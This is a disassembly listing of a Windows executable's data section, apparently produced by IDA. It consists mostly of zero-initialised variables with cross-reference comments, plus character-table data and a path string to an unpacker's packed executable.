dword_4CAF30	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4CAF34	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4CAF38	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4CAF3C	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4CAF40	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4CAF44	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4CAF48	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4CAF4C	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4CAF50	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4CAF54	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4CAF58	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4CAF5C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4CAF60	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4CAF64	dd 0			; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
dword_4CAF68	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4CAF6C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4CAF70	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4CAF74	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4CAF78	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4CAF7C	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4CAF80	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4CAF84	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4CAF88	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4CAF8C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4CAF90	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4CAF94	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4CAF98	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4CAF9C	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4CAFA0	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4CAFA4	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4CAFA8	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
dword_4CAFAC	dd 0			; DATA XREF: sub_409B12+112w
dword_4CAFB0	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4CAFB4	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4CAFB8	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4CAFBC	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4CAFC0	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4CAFC4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4CAFC8	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4CAFCC	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4CAFD0	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4CAFD4	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4CAFD8	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4CAFDC	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4CAFE0	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4CAFE4	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4CAFE8	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4CAFEC	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4CAFF0	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4CAFF4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4CAFF8	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4CAFFC	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4CB000	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4CB004	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4CB008	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4CB00C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB010	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4CB014	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4CB018	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4CB01C	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4CB020	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4CB024	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4CB02C	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4CB030	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4CB034	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4CB038	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4CB03C	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4CB040	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4CB044	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4CB048	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4CB04C	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4CB050	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4CB054	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4CB058	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4CB05C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4CB060	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4CB064	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4CB068	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4CB06C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4CB070	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4CB074	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4CB078	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4CB07C	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4CB080	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4CB084	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4CB088	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4CB08C	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4CB090	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4CB094	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4CB098	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4CB09C	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4CB0A0	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4CB0A4	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4CB0C0	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4CB0C4	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
		dd 7FEh	dup(0)
dword_4CD0C0	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4CD0D8	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4CD0DC	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4CD0E0	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4CD0E4	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4CD0E8	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4CD168	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4CD16C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4CD170	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4CD178	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4CD17C	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4CD280	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4CD384	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4CD388	dd 0			; DATA XREF: sub_40BACD+52w
dword_4CD38C	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4CD390	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4CD410	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4CD414	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4CD418	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4CD420	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4CD424	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4CD528	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4CD62C	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4CD630	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4CD634	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4CD638	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4CD6B8	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4CD6BC	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4CD6C0	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4CD6C8	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4CD6CC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4CD954	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4CDA58	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4CDA60	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4CDA64	dd 0			; DATA XREF: sub_40BACD+429w
dword_4CDA68	dd 0			; DATA XREF: sub_40BACD+436w
dword_4CDA6C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4CDA74	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4CDA7C	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4CDA80	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4CDA84	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4CDC8C	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4CDC94	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4CDC9C	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4CDCA4	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4CDCB0	dd 0			; DATA XREF: ___:0040E4AAr
dword_4CDCB4	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4CDCBC	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4CDCC4	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4CDCC8	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4CDCD8	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4CDCE0	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4CE108	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4CE728	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 11Ch	dup(0)
dword_4CEB9C	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D2B9C	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D2BA0	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D2BA8	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D2BE0	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D2DE0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D35E0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
dword_4D3DE0	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D3DE4	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D3DE8	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D3DEC	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D3DF0	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D3FF0	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D3FF8	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D3FFC	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D4000	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D4004	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D4008	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D400C	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D4014	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 4Eh dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437830o
		dd 30h dup(0)
dword_4D4214	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
		dd 1944h dup(0)
dword_4DA728	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DA72C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
dword_4DA930	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4DA98C	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4DAB8C	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4DAB90	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4DABEC	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4DADEC	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4DADF0	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4DAFF0	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4DB1F4	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4DB1F8	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4DB1FC	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4DB200	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4DB204	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4DB238	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4DB240	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4DB278	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB27C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB280	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB294	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB298	dd 2440B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB2A0	dd 2440B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB2A4	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB2A8	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB2B0	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB2B8	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB2BC	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB2C0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB2C4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB2CC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB2D0	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB2D8	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB2DA	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB2DE	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB2E0	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB2E2	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB2E8	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB2F0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB2F4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB2F8	dd 0			; DATA XREF: sub_41F312r
dword_4DB2FC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB300	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB304	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB30C	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB310	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB314	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB318	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB31C	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB320	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB324	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB328	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB32C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DB334	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DB344	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DB34C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DB350	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB2B0o
		align 10h
dword_4DB370	dd 3Ah dup(0)
dword_4DB458	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DB45C	dd 0			; DATA XREF: sub_423590+21r
dword_4DB460	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DB464	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DB468	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DB470	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DB472	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DB474	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DB490	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DB494	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DB498	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DB49C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DB4A0	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DB4A8	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DB4B0	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DB4B4	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DB4F4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DB4F6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DB4F8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DB4FA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DB4FC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DB4FE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DB500	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DB502	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DB504	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DB508	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DB548	dw 0			; DATA XREF: sub_424A4A+46r
word_4DB54A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DB54C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DB54E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DB550	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DB552	dw 0			; DATA XREF: sub_424A4A+55r
word_4DB554	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DB556	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DB558	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DB55C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DB560	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DB564	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DB568	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DB56C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DB570	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DB574	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DB578	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DB57C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DB580	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DB588	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DB58C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DB590	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DB594	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4DB598	dd 2441140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		align 10h
dword_4DB5A0	dd 400h	dup(0)		; DATA XREF: ___:off_43C9E8o
					; ___:0043C9F0o
dword_4DC5A0	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DC5C0	dd 2440650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DC5C4	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DC6C0	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DC6C4	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DC6D0	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DC6DC	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DC6E0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DC7E0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DC7E1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DC8E4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DC8E8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DC8EC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DC8F0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DC8F4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DC8F8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DC8FC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DC900	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DC904	dd 2440000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DC908	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DC90C	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
